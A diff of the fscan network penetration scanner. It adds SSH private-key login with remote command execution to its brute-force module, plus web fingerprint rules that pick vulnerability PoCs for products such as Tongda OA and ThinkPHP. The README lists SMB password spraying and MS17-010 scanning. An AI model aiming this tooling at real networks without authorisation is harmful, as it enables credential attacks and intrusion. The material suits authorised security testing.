"github.com/shadow1ng/fscan/common"
|
||||
"golang.org/x/crypto/ssh"
|
||||
"io/ioutil"
|
||||
"net"
|
||||
"strings"
|
||||
"time"
|
||||
@@ -28,6 +30,9 @@ func SshScan(info *common.HostInfo) (tmperr error) {
|
||||
return err
|
||||
}
|
||||
}
|
||||
if info.SshKey != "" {
|
||||
return err
|
||||
}
|
||||
}
|
||||
}
|
||||
return tmperr
|
||||
@@ -36,11 +41,24 @@ func SshScan(info *common.HostInfo) (tmperr error) {
|
||||
func SshConn(info *common.HostInfo, user string, pass string) (flag bool, err error) {
|
||||
flag = false
|
||||
Host, Port, Username, Password := info.Host, info.Ports, user, pass
|
||||
Auth := []ssh.AuthMethod{}
|
||||
if info.SshKey != "" {
|
||||
pemBytes, err := ioutil.ReadFile(info.SshKey)
|
||||
if err != nil {
|
||||
return false, errors.New("read key failed" + err.Error())
|
||||
}
|
||||
signer, err := ssh.ParsePrivateKey(pemBytes)
|
||||
if err != nil {
|
||||
return false, errors.New("parse key failed" + err.Error())
|
||||
}
|
||||
Auth = []ssh.AuthMethod{ssh.PublicKeys(signer)}
|
||||
} else {
|
||||
Auth = []ssh.AuthMethod{ssh.Password(Password)}
|
||||
}
|
||||
|
||||
config := &ssh.ClientConfig{
|
||||
User: Username,
|
||||
Auth: []ssh.AuthMethod{
|
||||
ssh.Password(Password),
|
||||
},
|
||||
User: Username,
|
||||
Auth: Auth,
|
||||
Timeout: time.Duration(info.Timeout) * time.Second,
|
||||
HostKeyCallback: func(hostname string, remote net.Addr, key ssh.PublicKey) error {
|
||||
return nil
|
||||
@@ -54,12 +72,19 @@ func SshConn(info *common.HostInfo, user string, pass string) (flag bool, err er
|
||||
if err == nil {
|
||||
defer session.Close()
|
||||
flag = true
|
||||
var result string
|
||||
if info.Command != "" {
|
||||
combo, _ := session.CombinedOutput(info.Command)
|
||||
result := fmt.Sprintf("[+] SSH:%v:%v:%v %v \n %v", Host, Port, Username, Password, string(combo))
|
||||
result = fmt.Sprintf("[+] SSH:%v:%v:%v %v \n %v", Host, Port, Username, Password, string(combo))
|
||||
if info.SshKey != "" {
|
||||
result = fmt.Sprintf("[+] SSH:%v:%v sshkey correct \n %v", Host, Port, string(combo))
|
||||
}
|
||||
common.LogSuccess(result)
|
||||
} else {
|
||||
result := fmt.Sprintf("[+] SSH:%v:%v:%v %v", Host, Port, Username, Password)
|
||||
result = fmt.Sprintf("[+] SSH:%v:%v:%v %v", Host, Port, Username, Password)
|
||||
if info.SshKey != "" {
|
||||
result = fmt.Sprintf("[+] SSH:%v:%v sshkey correct", Host, Port)
|
||||
}
|
||||
common.LogSuccess(result)
|
||||
}
|
||||
}
|
||||
|
||||
+12
-6
@@ -4,6 +4,7 @@ import (
|
||||
"bytes"
|
||||
"compress/gzip"
|
||||
"fmt"
|
||||
"github.com/saintfish/chardet"
|
||||
"github.com/shadow1ng/fscan/WebScan"
|
||||
"github.com/shadow1ng/fscan/WebScan/lib"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
@@ -51,7 +52,6 @@ func GOWebTitle(info *common.HostInfo) error {
|
||||
info.Url = fmt.Sprintf("http://%s", info.Url)
|
||||
}
|
||||
}
|
||||
|
||||
err, result, CheckData := geturl(info, 1, CheckData)
|
||||
if err != nil && !strings.Contains(err.Error(), "EOF") {
|
||||
return err
|
||||
@@ -93,7 +93,7 @@ func GOWebTitle(info *common.HostInfo) error {
|
||||
return err
|
||||
}
|
||||
|
||||
WebScan.InfoCheck(info.Url, CheckData)
|
||||
info.Infostr = WebScan.InfoCheck(info.Url, CheckData)
|
||||
|
||||
if common.IsWebCan == false {
|
||||
WebScan.WebScan(info)
|
||||
@@ -141,7 +141,7 @@ func geturl(info *common.HostInfo, flag int, CheckData []WebScan.CheckDatas) (er
|
||||
return err, "", CheckData
|
||||
}
|
||||
if flag != 2 {
|
||||
re := regexp.MustCompile("(?im)<title>(.*)</title>")
|
||||
re := regexp.MustCompile("(?ims)<title>(.*)</title>")
|
||||
find := re.FindSubmatch(body)
|
||||
if len(find) > 1 {
|
||||
text = find[1]
|
||||
@@ -173,9 +173,15 @@ func geturl(info *common.HostInfo, flag int, CheckData []WebScan.CheckDatas) (er
|
||||
}
|
||||
return ""
|
||||
}
|
||||
encoding := GetEncoding()
|
||||
_, charsetName, _ := charset.DetermineEncoding(body, "")
|
||||
if encoding == "gbk" || encoding == "gb2312" || charsetName == "gbk" {
|
||||
encode := GetEncoding()
|
||||
_, encode1, _ := charset.DetermineEncoding(body, "")
|
||||
var encode2 string
|
||||
detector := chardet.NewTextDetector()
|
||||
detectorstr, _ := detector.DetectBest(body)
|
||||
if detectorstr != nil {
|
||||
encode2 = detectorstr.Charset
|
||||
}
|
||||
if encode == "gbk" || encode == "gb2312" || encode1 == "gbk" || strings.Contains(strings.ToLower(encode2), "gb") {
|
||||
titleGBK, err := Decodegbk(text)
|
||||
if err == nil {
|
||||
title = string(titleGBK)
|
||||
|
||||
@@ -50,6 +50,7 @@ fscan.exe -h 192.168.1.1/8 (A段的192.x.x.1和192.x.x.254,方便快速查看
|
||||
fscan.exe -h 192.168.1.1/24 -m smb -pwd password (smb密码碰撞)
|
||||
fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块)
|
||||
fscan.exe -hf ip.txt (以文件导入)
|
||||
fscan.exe -u http://baidu.com -proxy 8080 (扫描单个url,并设置http代理 http://127.0.0.1:8080)
|
||||
```
|
||||
编译命令
|
||||
```
|
||||
@@ -152,6 +153,10 @@ fscan 是 404Team [星链计划2.0](https://github.com/knownsec/404StarLink2.0-G
|
||||
|
||||
|
||||
## 最近更新
|
||||
[+] 2021/6/18 改善一下poc的机制,如果识别出指纹会根据指纹信息发送poc,如果没有识别到指纹才会把所有poc打一遍
|
||||
[+] 2021/5/29 加入fcgi协议未授权命令执行扫描,优化poc模块,优化icmp模块,ssh模块加入私钥连接
|
||||
[+] 2021/5/15 新增win03版本(删减了xray_poc模块),增加-silent 静默扫描模式,添加web指纹,修复netbios模块数组越界,添加一个CheckErrs字典,webtitle 增加gzip解码
|
||||
[+] 2021/5/6 更新mod库、poc、指纹。修改线程处理机制、netbios探测、域控识别模块、webtitle编码模块等
|
||||
[+] 2021/4/22 修改webtitle模块,加入gbk解码
|
||||
[+] 2021/4/21 加入netbios探测、域控识别
|
||||
[+] 2021/3/4 支持-u url或者-uf url.txt,对url进行批量扫描
|
||||
|
||||
+14
-13
@@ -6,7 +6,6 @@ import (
|
||||
"github.com/shadow1ng/fscan/WebScan/info"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"regexp"
|
||||
"strings"
|
||||
)
|
||||
|
||||
type CheckDatas struct {
|
||||
@@ -14,7 +13,7 @@ type CheckDatas struct {
|
||||
Headers string
|
||||
}
|
||||
|
||||
func InfoCheck(Url string, CheckData []CheckDatas) {
|
||||
func InfoCheck(Url string, CheckData []CheckDatas) []string {
|
||||
var matched bool
|
||||
var infoname []string
|
||||
|
||||
@@ -36,12 +35,14 @@ func InfoCheck(Url string, CheckData []CheckDatas) {
|
||||
}
|
||||
}
|
||||
|
||||
infostr := RemoveMore(infoname)
|
||||
infoname = removeDuplicateElement(infoname)
|
||||
|
||||
if len(infoname) > 0 {
|
||||
result := fmt.Sprintf("[+] InfoScan:%-25v %s ", Url, infostr)
|
||||
result := fmt.Sprintf("[+] InfoScan:%-25v %s ", Url, infoname)
|
||||
common.LogSuccess(result)
|
||||
return infoname
|
||||
}
|
||||
return []string{""}
|
||||
}
|
||||
|
||||
func CalcMd5(Body []byte) (bool, string) {
|
||||
@@ -55,15 +56,15 @@ func CalcMd5(Body []byte) (bool, string) {
|
||||
return false, ""
|
||||
}
|
||||
|
||||
func RemoveMore(a []string) (infostr string) {
|
||||
var ret []string
|
||||
for i := 0; i < len(a); i++ {
|
||||
if (i > 0 && a[i-1] == a[i]) || len(a[i]) == 0 {
|
||||
continue
|
||||
func removeDuplicateElement(languages []string) []string {
|
||||
result := make([]string, 0, len(languages))
|
||||
temp := map[string]struct{}{}
|
||||
for _, item := range languages {
|
||||
if _, ok := temp[item]; !ok {
|
||||
temp[item] = struct{}{}
|
||||
result = append(result, item)
|
||||
}
|
||||
ret = append(ret, a[i])
|
||||
}
|
||||
infostr = strings.ReplaceAll(fmt.Sprintf("%s ", ret), "[", "")
|
||||
infostr = strings.ReplaceAll(infostr, "]", "")
|
||||
return
|
||||
return result
|
||||
}
|
||||
|
||||
|
||||
+10
-16
@@ -5,9 +5,8 @@ import (
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/WebScan/lib"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"log"
|
||||
"net/http"
|
||||
"time"
|
||||
"strings"
|
||||
)
|
||||
|
||||
//go:embed pocs
|
||||
@@ -15,11 +14,15 @@ var Pocs embed.FS
|
||||
|
||||
func WebScan(info *common.HostInfo) {
|
||||
var pocinfo = common.Pocinfo
|
||||
pocinfo.Target = info.Url
|
||||
err := Execute(pocinfo)
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("[-] webtitle %v %v", info.Url, err)
|
||||
common.LogError(errlog)
|
||||
buf := strings.Split(info.Url,"/")
|
||||
pocinfo.Target = strings.Join(buf[:3],"/")
|
||||
for _,infostr := range info.Infostr {
|
||||
pocinfo.PocName = lib.CheckInfoPoc(infostr)
|
||||
err := Execute(pocinfo)
|
||||
if err != nil {
|
||||
errlog := fmt.Sprintf("[-] webtitle %v %v", info.Url, err)
|
||||
common.LogError(errlog)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -32,15 +35,6 @@ func Execute(PocInfo common.PocInfo) error {
|
||||
if PocInfo.Cookie != "" {
|
||||
req.Header.Set("Cookie", PocInfo.Cookie)
|
||||
}
|
||||
|
||||
lib.CheckMultiPoc(req, Pocs, PocInfo.Num, PocInfo.PocName)
|
||||
return nil
|
||||
}
|
||||
|
||||
func Inithttp(PocInfo common.PocInfo) {
|
||||
//PocInfo.Proxy = "http://127.0.0.1:8080"
|
||||
err := lib.InitHttpClient(PocInfo.Num, PocInfo.Proxy, time.Duration(PocInfo.Timeout)*time.Second)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
+26
-2
@@ -11,6 +11,11 @@ type Md5Data struct {
|
||||
Md5Str string
|
||||
}
|
||||
|
||||
type PocData struct {
|
||||
Name string
|
||||
Alias string
|
||||
}
|
||||
|
||||
var RuleDatas = []RuleData{
|
||||
{"Shiro", "headers", "(=deleteMe|rememberMe=)"},
|
||||
{"Portainer(Docker管理)", "code", "(portainer.updatePassword|portainer.init.admin)"},
|
||||
@@ -106,7 +111,7 @@ var RuleDatas = []RuleData{
|
||||
{"金和协同管理平台", "code", "(金和协同管理平台)"},
|
||||
{"Citrix-NetScaler", "code", "(NS-CACHE)"},
|
||||
{"linksys-vpn", "headers", "(linksys-vpn)"},
|
||||
{"通达OA", "code", "(/static/images/tongda.ico)"},
|
||||
{"通达OA", "code", "(/static/images/tongda.ico|http://www.tongda2000.com|通达OA移动版)"},
|
||||
{"华为(HUAWEI)Secoway设备", "code", "(Secoway)"},
|
||||
{"华为_HUAWEI_SRG1220", "code", "(HUAWEI SRG1220)"},
|
||||
{"H3C ER2100n", "code", "(ER2100n系统管理)"},
|
||||
@@ -115,7 +120,7 @@ var RuleDatas = []RuleData{
|
||||
{"Jboss", "code", "(Welcome to JBoss|jboss.css)"},
|
||||
{"Jboss", "headers", "(JBoss)"},
|
||||
{"泛微E-mobile", "code", "(Weaver E-mobile|weaver,e-mobile)"},
|
||||
{"齐治堡垒机", "code", "(logo-icon-ico72.png)"},
|
||||
{"齐治堡垒机", "code", "(logo-icon-ico72.png|resources/themes/images/logo-login.png)"},
|
||||
{"ThinkPHP", "headers", "(ThinkPHP)"},
|
||||
{"ThinkPHP", "code", "(/Public/static/js/)"},
|
||||
{"weaver-ebridge", "code", "(e-Bridge,http://wx.weaver)"},
|
||||
@@ -128,6 +133,9 @@ var RuleDatas = []RuleData{
|
||||
{"红帆OA", "code", "(iOffice)"},
|
||||
{"VMware vSphere", "code", "(VMware vSphere)"},
|
||||
{"打印机", "code", "(打印机|media/canon.gif)"},
|
||||
{"finereport", "code", "(isSupportForgetPwd|FineReport,Web Reporting Tool)"},
|
||||
{"蓝凌OA", "code", "(蓝凌软件|StylePath:\"/resource/style/default/\"|/resource/customization)"},
|
||||
{"GitLab", "code", "(href=\"https://about.gitlab.com/)"},
|
||||
}
|
||||
|
||||
var Md5Datas = []Md5Data{
|
||||
@@ -149,4 +157,20 @@ var Md5Datas = []Md5Data{
|
||||
{"泛微OA", "c27547e27e1d2c7514545cd8d5988946"},
|
||||
{"泛微OA", "9b1d3f08ede38dbe699d6b2e72a8febb"},
|
||||
{"泛微OA", "281348dd57383c1f214ffb8aed3a1210"},
|
||||
{"GitLab", "85c754581e1d4b628be5b7712c042224"},
|
||||
{"Hikvision-视频监控", "89b932fcc47cf4ca3faadb0cfdef89cf"},
|
||||
}
|
||||
|
||||
var PocDatas = []PocData{
|
||||
{"致远OA","seeyon"},
|
||||
{"泛微OA","weaver-oa"},
|
||||
{"通达OA","tongda"},
|
||||
{"ThinkPHP","thinkphp"},
|
||||
{"Nexus","nexus"},
|
||||
{"齐治堡垒机","qizhi"},
|
||||
{"weaver-ebridge","weaver-ebridge"},
|
||||
{"weblogic","weblogic"},
|
||||
{"zabbix","zabbix"},
|
||||
{"VMware vSphere","vmware"},
|
||||
{"Jboss","jboss"},
|
||||
}
|
||||
+26
-11
@@ -4,6 +4,7 @@ import (
|
||||
"embed"
|
||||
"fmt"
|
||||
"github.com/google/cel-go/cel"
|
||||
"github.com/shadow1ng/fscan/WebScan/info"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"math/rand"
|
||||
"net/http"
|
||||
@@ -30,18 +31,14 @@ func CheckMultiPoc(req *http.Request, Pocs embed.FS, workers int, pocname string
|
||||
var wg sync.WaitGroup
|
||||
for i := 0; i < workers; i++ {
|
||||
go func() {
|
||||
wg.Add(1)
|
||||
for task := range tasks {
|
||||
isVul, err := executePoc(task.Req, task.Poc)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
isVul, _ := executePoc(task.Req, task.Poc)
|
||||
if isVul {
|
||||
result := fmt.Sprintf("[+] %s %s", task.Req.URL, task.Poc.Name)
|
||||
common.LogSuccess(result)
|
||||
}
|
||||
wg.Done()
|
||||
}
|
||||
wg.Done()
|
||||
}()
|
||||
}
|
||||
for _, poc := range LoadMultiPoc(Pocs, pocname) {
|
||||
@@ -49,10 +46,11 @@ func CheckMultiPoc(req *http.Request, Pocs embed.FS, workers int, pocname string
|
||||
Req: req,
|
||||
Poc: poc,
|
||||
}
|
||||
wg.Add(1)
|
||||
tasks <- task
|
||||
}
|
||||
close(tasks)
|
||||
wg.Wait()
|
||||
close(tasks)
|
||||
}
|
||||
|
||||
func executePoc(oReq *http.Request, p *Poc) (bool, error) {
|
||||
@@ -72,7 +70,7 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error) {
|
||||
}
|
||||
req, err := ParseRequest(oReq)
|
||||
if err != nil {
|
||||
//fmt.Println(err)
|
||||
//fmt.Println("ParseRequest error",err)
|
||||
return false, err
|
||||
}
|
||||
variableMap := make(map[string]interface{})
|
||||
@@ -80,11 +78,17 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error) {
|
||||
|
||||
// 现在假定set中payload作为最后产出,那么先排序解析其他的自定义变量,更新map[string]interface{}后再来解析payload
|
||||
keys := make([]string, 0)
|
||||
keys1 := make([]string, 0)
|
||||
for k := range p.Set {
|
||||
keys = append(keys, k)
|
||||
if strings.Contains(strings.ToLower(p.Set[k]), "random") && strings.Contains(strings.ToLower(p.Set[k]), "(") {
|
||||
keys = append(keys, k) //优先放入调用random系列函数的变量
|
||||
} else {
|
||||
keys1 = append(keys1, k)
|
||||
}
|
||||
}
|
||||
sort.Strings(keys)
|
||||
|
||||
sort.Strings(keys1)
|
||||
keys = append(keys, keys1...)
|
||||
for _, k := range keys {
|
||||
expression := p.Set[k]
|
||||
if k != "payload" {
|
||||
@@ -94,7 +98,7 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error) {
|
||||
}
|
||||
out, err := Evaluate(env, expression, variableMap)
|
||||
if err != nil {
|
||||
//fmt.Println(err)
|
||||
//fmt.Println(p.Name," poc_expression error",err)
|
||||
variableMap[k] = expression
|
||||
continue
|
||||
}
|
||||
@@ -114,6 +118,7 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error) {
|
||||
if p.Set["payload"] != "" {
|
||||
out, err := Evaluate(env, p.Set["payload"], variableMap)
|
||||
if err != nil {
|
||||
//fmt.Println(p.Name," poc_payload error",err)
|
||||
return false, err
|
||||
}
|
||||
variableMap["payload"] = fmt.Sprintf("%v", out)
|
||||
@@ -685,3 +690,13 @@ func evalset(env *cel.Env, variableMap map[string]interface{}) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func CheckInfoPoc(infostr string) string {
|
||||
for _, poc := range info.PocDatas {
|
||||
if strings.Compare(poc.Name,infostr) == 0 {
|
||||
return poc.Alias
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,68 @@
|
||||
package lib
|
||||
|
||||
import (
|
||||
"crypto/tls"
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"log"
|
||||
"net"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
var (
|
||||
Client *http.Client
|
||||
ClientNoRedirect *http.Client
|
||||
dialTimout = 5 * time.Second
|
||||
keepAlive = 15 * time.Second
|
||||
)
|
||||
|
||||
func Inithttp(PocInfo common.PocInfo) {
|
||||
//PocInfo.Proxy = "http://127.0.0.1:8080"
|
||||
err := InitHttpClient(PocInfo.Num, PocInfo.Proxy, time.Duration(PocInfo.Timeout)*time.Second)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
func InitHttpClient(ThreadsNum int, DownProxy string, Timeout time.Duration) error {
|
||||
dialer := &net.Dialer{
|
||||
Timeout: dialTimout,
|
||||
KeepAlive: keepAlive,
|
||||
}
|
||||
|
||||
tr := &http.Transport{
|
||||
DialContext: dialer.DialContext,
|
||||
MaxConnsPerHost: 0,
|
||||
MaxIdleConns: 0,
|
||||
MaxIdleConnsPerHost: ThreadsNum * 2,
|
||||
IdleConnTimeout: keepAlive,
|
||||
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
|
||||
TLSHandshakeTimeout: 5 * time.Second,
|
||||
DisableKeepAlives: false,
|
||||
}
|
||||
if DownProxy != "" {
|
||||
if DownProxy == "1" {
|
||||
DownProxy = "http://127.0.0.1:8080"
|
||||
} else if !strings.Contains(DownProxy, "://") {
|
||||
DownProxy = "http://127.0.0.1:" + DownProxy
|
||||
}
|
||||
u, err := url.Parse(DownProxy)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
tr.Proxy = http.ProxyURL(u)
|
||||
}
|
||||
|
||||
Client = &http.Client{
|
||||
Transport: tr,
|
||||
Timeout: Timeout,
|
||||
}
|
||||
ClientNoRedirect = &http.Client{
|
||||
Transport: tr,
|
||||
Timeout: Timeout,
|
||||
CheckRedirect: func(req *http.Request, via []*http.Request) error { return http.ErrUseLastResponse },
|
||||
}
|
||||
return nil
|
||||
}
|
||||
+118
-3
@@ -2,6 +2,7 @@ package lib
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"compress/gzip"
|
||||
"crypto/md5"
|
||||
"encoding/base64"
|
||||
"fmt"
|
||||
@@ -11,10 +12,13 @@ import (
|
||||
"github.com/google/cel-go/common/types/ref"
|
||||
"github.com/google/cel-go/interpreter/functions"
|
||||
exprpb "google.golang.org/genproto/googleapis/api/expr/v1alpha1"
|
||||
"io"
|
||||
"io/ioutil"
|
||||
"math/rand"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"regexp"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
@@ -190,7 +194,7 @@ func NewEnvOption() CustomLib {
|
||||
},
|
||||
},
|
||||
&functions.Overload{
|
||||
Operator: "string_bmatch_bytes",
|
||||
Operator: "string_bmatches_bytes",
|
||||
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
|
||||
v1, ok := lhs.(types.String)
|
||||
if !ok {
|
||||
@@ -433,15 +437,15 @@ func (c *CustomLib) UpdateCompileOptions(args map[string]string) {
|
||||
}
|
||||
}
|
||||
|
||||
var randSource = rand.New(rand.NewSource(time.Now().Unix()))
|
||||
|
||||
func randomLowercase(n int) string {
|
||||
lowercase := "abcdefghijklmnopqrstuvwxyz"
|
||||
randSource := rand.New(rand.NewSource(time.Now().Unix()))
|
||||
return RandomStr(randSource, lowercase, n)
|
||||
}
|
||||
|
||||
func randomUppercase(n int) string {
|
||||
lowercase := "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
|
||||
randSource := rand.New(rand.NewSource(time.Now().Unix()))
|
||||
return RandomStr(randSource, lowercase, n)
|
||||
}
|
||||
|
||||
@@ -486,3 +490,114 @@ func RandomStr(randSource *rand.Rand, letterBytes string, n int) string {
|
||||
}
|
||||
return string(randBytes)
|
||||
}
|
||||
|
||||
func DoRequest(req *http.Request, redirect bool) (*Response, error) {
|
||||
if req.Body == nil || req.Body == http.NoBody {
|
||||
} else {
|
||||
req.Header.Set("Content-Length", strconv.Itoa(int(req.ContentLength)))
|
||||
if req.Header.Get("Content-Type") == "" {
|
||||
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
|
||||
}
|
||||
}
|
||||
|
||||
var oResp *http.Response
|
||||
var err error
|
||||
if redirect {
|
||||
oResp, err = Client.Do(req)
|
||||
} else {
|
||||
oResp, err = ClientNoRedirect.Do(req)
|
||||
}
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer oResp.Body.Close()
|
||||
resp, err := ParseResponse(oResp)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return resp, err
|
||||
}
|
||||
|
||||
func ParseUrl(u *url.URL) *UrlType {
|
||||
nu := &UrlType{}
|
||||
nu.Scheme = u.Scheme
|
||||
nu.Domain = u.Hostname()
|
||||
nu.Host = u.Host
|
||||
nu.Port = u.Port()
|
||||
nu.Path = u.EscapedPath()
|
||||
nu.Query = u.RawQuery
|
||||
nu.Fragment = u.Fragment
|
||||
return nu
|
||||
}
|
||||
|
||||
func ParseRequest(oReq *http.Request) (*Request, error) {
|
||||
req := &Request{}
|
||||
req.Method = oReq.Method
|
||||
req.Url = ParseUrl(oReq.URL)
|
||||
header := make(map[string]string)
|
||||
for k := range oReq.Header {
|
||||
header[k] = oReq.Header.Get(k)
|
||||
}
|
||||
req.Headers = header
|
||||
req.ContentType = oReq.Header.Get("Content-Type")
|
||||
if oReq.Body == nil || oReq.Body == http.NoBody {
|
||||
} else {
|
||||
data, err := ioutil.ReadAll(oReq.Body)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
req.Body = data
|
||||
oReq.Body = ioutil.NopCloser(bytes.NewBuffer(data))
|
||||
}
|
||||
return req, nil
|
||||
}
|
||||
|
||||
func ParseResponse(oResp *http.Response) (*Response, error) {
|
||||
var resp Response
|
||||
header := make(map[string]string)
|
||||
resp.Status = int32(oResp.StatusCode)
|
||||
resp.Url = ParseUrl(oResp.Request.URL)
|
||||
for k := range oResp.Header {
|
||||
header[k] = oResp.Header.Get(k)
|
||||
}
|
||||
resp.Headers = header
|
||||
resp.ContentType = oResp.Header.Get("Content-Type")
|
||||
body, err := getRespBody(oResp)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
resp.Body = body
|
||||
return &resp, nil
|
||||
}
|
||||
|
||||
func getRespBody(oResp *http.Response) ([]byte, error) {
|
||||
var body []byte
|
||||
if oResp.Header.Get("Content-Encoding") == "gzip" {
|
||||
gr, err := gzip.NewReader(oResp.Body)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer gr.Close()
|
||||
for {
|
||||
buf := make([]byte, 1024)
|
||||
n, err := gr.Read(buf)
|
||||
if err != nil && err != io.EOF {
|
||||
//utils.Logger.Error(err)
|
||||
return nil, err
|
||||
}
|
||||
if n == 0 {
|
||||
break
|
||||
}
|
||||
body = append(body, buf...)
|
||||
}
|
||||
} else {
|
||||
raw, err := ioutil.ReadAll(oResp.Body)
|
||||
if err != nil {
|
||||
//utils.Logger.Error(err)
|
||||
return nil, err
|
||||
}
|
||||
defer oResp.Body.Close()
|
||||
body = raw
|
||||
}
|
||||
return body, nil
|
||||
}
|
||||
|
||||
@@ -1,176 +0,0 @@
|
||||
package lib
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"compress/gzip"
|
||||
"crypto/tls"
|
||||
"io"
|
||||
"io/ioutil"
|
||||
"net"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
var (
|
||||
Client *http.Client
|
||||
ClientNoRedirect *http.Client
|
||||
dialTimout = 5 * time.Second
|
||||
keepAlive = 15 * time.Second
|
||||
)
|
||||
|
||||
func InitHttpClient(ThreadsNum int, DownProxy string, Timeout time.Duration) error {
|
||||
dialer := &net.Dialer{
|
||||
Timeout: dialTimout,
|
||||
KeepAlive: keepAlive,
|
||||
}
|
||||
|
||||
tr := &http.Transport{
|
||||
DialContext: dialer.DialContext,
|
||||
MaxConnsPerHost: 0,
|
||||
MaxIdleConns: 0,
|
||||
MaxIdleConnsPerHost: ThreadsNum * 2,
|
||||
IdleConnTimeout: keepAlive,
|
||||
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
|
||||
TLSHandshakeTimeout: 5 * time.Second,
|
||||
DisableKeepAlives: false,
|
||||
}
|
||||
if DownProxy != "" {
|
||||
if DownProxy == "1" {
|
||||
DownProxy = "http://127.0.0.1:8080"
|
||||
} else if !strings.Contains(DownProxy, "://") {
|
||||
DownProxy = "http://127.0.0.1:" + DownProxy
|
||||
}
|
||||
u, err := url.Parse(DownProxy)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
tr.Proxy = http.ProxyURL(u)
|
||||
}
|
||||
|
||||
Client = &http.Client{
|
||||
Transport: tr,
|
||||
Timeout: Timeout,
|
||||
}
|
||||
ClientNoRedirect = &http.Client{
|
||||
Transport: tr,
|
||||
Timeout: Timeout,
|
||||
}
|
||||
ClientNoRedirect.CheckRedirect = func(req *http.Request, via []*http.Request) error {
|
||||
return http.ErrUseLastResponse
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func DoRequest(req *http.Request, redirect bool) (*Response, error) {
|
||||
if req.Body == nil || req.Body == http.NoBody {
|
||||
} else {
|
||||
req.Header.Set("Content-Length", strconv.Itoa(int(req.ContentLength)))
|
||||
if req.Header.Get("Content-Type") == "" {
|
||||
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
|
||||
}
|
||||
}
|
||||
|
||||
var oResp *http.Response
|
||||
var err error
|
||||
if redirect {
|
||||
oResp, err = Client.Do(req)
|
||||
} else {
|
||||
oResp, err = ClientNoRedirect.Do(req)
|
||||
}
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer oResp.Body.Close()
|
||||
resp, err := ParseResponse(oResp)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return resp, err
|
||||
}
|
||||
|
||||
func ParseUrl(u *url.URL) *UrlType {
|
||||
nu := &UrlType{}
|
||||
nu.Scheme = u.Scheme
|
||||
nu.Domain = u.Hostname()
|
||||
nu.Host = u.Host
|
||||
nu.Port = u.Port()
|
||||
nu.Path = u.EscapedPath()
|
||||
nu.Query = u.RawQuery
|
||||
nu.Fragment = u.Fragment
|
||||
return nu
|
||||
}
|
||||
|
||||
func ParseRequest(oReq *http.Request) (*Request, error) {
|
||||
req := &Request{}
|
||||
req.Method = oReq.Method
|
||||
req.Url = ParseUrl(oReq.URL)
|
||||
header := make(map[string]string)
|
||||
for k := range oReq.Header {
|
||||
header[k] = oReq.Header.Get(k)
|
||||
}
|
||||
req.Headers = header
|
||||
req.ContentType = oReq.Header.Get("Content-Type")
|
||||
if oReq.Body == nil || oReq.Body == http.NoBody {
|
||||
} else {
|
||||
data, err := ioutil.ReadAll(oReq.Body)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
req.Body = data
|
||||
oReq.Body = ioutil.NopCloser(bytes.NewBuffer(data))
|
||||
}
|
||||
return req, nil
|
||||
}
|
||||
|
||||
func ParseResponse(oResp *http.Response) (*Response, error) {
|
||||
var resp Response
|
||||
header := make(map[string]string)
|
||||
resp.Status = int32(oResp.StatusCode)
|
||||
resp.Url = ParseUrl(oResp.Request.URL)
|
||||
for k := range oResp.Header {
|
||||
header[k] = oResp.Header.Get(k)
|
||||
}
|
||||
resp.Headers = header
|
||||
resp.ContentType = oResp.Header.Get("Content-Type")
|
||||
body, err := getRespBody(oResp)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
resp.Body = body
|
||||
return &resp, nil
|
||||
}
|
||||
|
||||
func getRespBody(oResp *http.Response) ([]byte, error) {
|
||||
var body []byte
|
||||
if oResp.Header.Get("Content-Encoding") == "gzip" {
|
||||
gr, err := gzip.NewReader(oResp.Body)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer gr.Close()
|
||||
for {
|
||||
buf := make([]byte, 1024)
|
||||
n, err := gr.Read(buf)
|
||||
if err != nil && err != io.EOF {
|
||||
//utils.Logger.Error(err)
|
||||
return nil, err
|
||||
}
|
||||
if n == 0 {
|
||||
break
